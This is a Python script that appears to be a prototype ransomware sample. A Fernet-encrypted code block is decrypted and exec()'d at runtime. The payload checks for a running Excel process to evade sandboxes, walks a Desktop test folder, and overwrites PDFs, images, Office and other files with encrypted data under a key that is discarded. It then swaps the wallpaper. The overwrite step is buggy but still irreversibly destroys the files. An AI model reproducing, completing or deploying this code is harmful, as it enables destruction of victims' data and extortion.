from cryptography.fernet import Fernet
import base64

code = b"""


import os
import sys
import ctypes
import time
import cffi
import subprocess
from cryptography.fernet import Fernet

print()
print("Start Script")
print()

allFiles = 0
pdfTotal = 0
imageFileTotal = 0
MsOfficeTotal = 0
otherTotal = 0

pdf_path = []
image_path = []
MsOffice_path = []
other_path = []

pdf = [".pdf"]
image = [".bmp", ".jpeg", ".gif", ".tiff", ".png", ".pcx", ".rle", ".dib", ".jpg"]
o365 = [".docx", ".accdb", ".bks", ".crtx", ".csv", ".cub", ".cvr", ".doc", ".dochtml", ".docm", ".docmhtml", ".docxml", ".dot", ".dothtml", ".dotm", ".dotx", ".dqy", ".eftx", ".exd", ".ffa",
".ffl", ".ffo", ".ffx", ".gcsx", ".glox", ".gly", ".gqsx", ".gra", ".mdb", ".mgc", ".mml", ".mmw", ".obd", ".odc", ".officeui", ".olk", ".one", ".onepkg", ".onetoc2", ".otm", ".pip", ".potx",
".ppt", ".pptx", ".pwi", ".qat", ".rtf", ".shs", ".thmx", ".tsv", ".txt", ".wbk", ".xar", ".xl", ".xlb", ".xlc", ".xld", ".xlk", ".xlm", ".xls", ".xlsb", ".xlshtml", ".xlsm", ".xlsx", ".xlt",
".xlthtml", ".xltm", ".xltx", ".xlv", ".xlw", ".edi", ".fm3", ".gpr", ".graphml", ".iif", ".info", ".ini", ".iqy", ".jrtf", ".lst", ".md", ".mdi", ".ods", ".opal", ".opax", ".ops", ".pde",
".pder", ".pptm", ".wll", ".xla", ".xlam", ".xll"]

username = os.getlogin()

dirName = "C"  + ":/Users/" + username + "/Desktop/testordner"

#check for sandbox
process = subprocess.check_output('tasklist', shell=True)
if b"EXCEL.EXE" in process:
    print("Excel is open")
    #Script will be continued
else:
    print("Excel is closed")
    #Exit Script - possible Sandbox
    exit()

print("Get Files")
def getFiles(dirName):
    listOfFile = os.listdir(dirName)
    completeFileList = list()
    for file in listOfFile:
        completePath = os.path.join(dirName, file)
        if os.path.isdir(completePath):
            completeFileList = completeFileList + getFiles(completePath)
        else:
            completeFileList.append(completePath)

    return completeFileList

listOfFiles = getFiles(dirName)
fileTotal = len(listOfFiles) - 1
print("...done")
print()

print("Classify Files")
for i in range(1, fileTotal):
        file = listOfFiles[i]
        if any (x in file for x in pdf):
                pdfTotal  += 1
                pdf_path.append(file)
        elif any (x in file for x in image):
                imageFileTotal += 1
                image_path.append(file)
        elif any (x in file for x in o365):
                MsOfficeTotal += 1
                MsOffice_path.append(file)
        else:
                otherTotal = otherTotal + 1
                other_path.append(file)

print("...done")
print()

print("Generate key")
#Generate new key
key = Fernet.generate_key()

encryption = Fernet(key)

print("...done")
print()

print("Counting Files")
allFiles = pdfTotal + imageFileTotal + MsOfficeTotal + otherTotal
strAllFiles = str(allFiles)
strPdfTotal = str(pdfTotal)
strImageFileTotal = str(imageFileTotal)
strMSOfficeTotal = str(MsOfficeTotal)
strOtherTotal = str(otherTotal)
print("All Files: " + strAllFiles)
print("PDF Files: " + strPdfTotal)
print("Image Files: " + strImageFileTotal)
print("MS Files: " + strMSOfficeTotal)
print("Other Files: " + strOtherTotal)
print("...done")
print()


print("Start encryption")
#pdfs
for i in range(0, pdfTotal):
    file_path = pdf_path[i]

    with open(file_path, 'rb') as file:
        original = file.read()

    encrypted_file = encryption.encrypt(original)

    with open(file_path, 'wb') as encrypted_file:
        encrypted_file.write(encrypted_message)


#images
for i in range(0, imageFileTotal):
        file_path = image_path[i]

        with open(file_path, 'rb') as file:
                original = file.read()

        encrypted_file = encryption.encrypt(original)

        with open(file_path, 'wb') as encrypted_file:
            encrypted_file.write(encrypted_message)


#MsOfficeTotal
for i in range(0, MsOfficeTotal):
        file_path = MsOffice_path[i]

   
        with open(file_path, 'rb') as file:
                original = file.read()

        encrypted_file = encryption.encrypt(original)

        with open(file_path, 'wb') as encrypted_file:
            encrypted_file.write(encrypted_message)


#MsOfficeTotal
for i in range(0, otherTotal):
        file_path = other_path[i]

        with open(file_path, 'rb') as file:
                original = file.read()

        encrypted_file = encryption.encrypt(original)

        with open(file_path, 'wb') as encrypted_file:
            encrypted_file.write(encrypted_message)

#finished encryption
print("...done")
print()

print("changing background")
#change background
wpath = "C:/Users/" + username + "/Videos/windows/dist/testbild.jpg"
ctypes.windll.user32.SystemParametersInfoW(20, 0, wpath, 0)
print("...done")

"""

key = Fernet.generate_key()
encryption_type = Fernet(key)
encrypted_message = encryption_type.encrypt(code)

decrypted_message = encryption_type.decrypt(encrypted_message)

exec(decrypted_message)
